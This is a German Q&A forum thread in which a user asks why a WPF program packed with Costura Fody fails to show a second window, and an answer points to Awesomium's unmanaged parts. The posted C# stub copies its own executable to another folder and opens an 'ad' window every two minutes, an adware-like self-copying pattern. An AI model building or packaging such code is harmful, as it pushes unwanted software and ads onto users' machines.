2016-08-15 1 views
0

Ich möchte meine alle Dateien in eine Datei (exe) packen. Ich wurde Costura Fody benutzt, alles ist OK, Programm läuft, ich sah mein einziges Fenster (wpf), aber wenn mein Programm ein anderes Fenster öffnen will (OpenWindow()) - sehe ich es nicht.Pack alle Dateien zu einem

Ich versuche auch hinzufügen "Ressourcen" in den Eigenschaften meines Projekts.

Ich benutze Awesomium (Webkit für C#), kann es darauf ankommen?

Hier ist der Code meines Programms:

namespace adek 
{ 
    public partial class MainWindow : Window 
    { 
     public MainWindow() 
     { 
      InitializeComponent(); 
      CopyProgram(); 
     } 

     public void SaveVisitor() 
     { 
      //remove for clean 
     } 

     public async Task<int> CheckTime() 
     { 
      while (true) 
      { 
       //remove for clean 
       OpenWindow(); 
       await Task.Delay(120000); 
      } 

      return 1; 
     } 

     public void OpenWindow() 
     { 
      ad win2 = new ad(); 
      win2.RunTask(); 
     } 

     public void CopyProgram() 
     { 
      if (aboutme.DirectoryName == destination) 
      { 
       CheckTime(); 
      } 
      else 
      { 
       SaveVisitor(); 
       CheckTime(); 
       try 
       { 
        File.Copy(me, destination + "\\" + aboutme.Name); 
       } 
       catch { } 
      } 
     } 

     } 
} 

Also, wie es funktioniert?

Vielen Dank für jede Hilfe

Antwort

1

Die awesomium Komponente auf jeden Fall ein Problem sein könnte, weil es einen nicht verwalteten Teil hat, und ich glaube nicht, Costura darum kümmern kann.

Sehen Sie sich andere Lösungen wie BoxedApp Packer oder Enigma Virtual Box an. Sie sind jedoch keine kostenlosen Produkte, und mir ist keine freie Alternative bekannt.

Verwandte Themen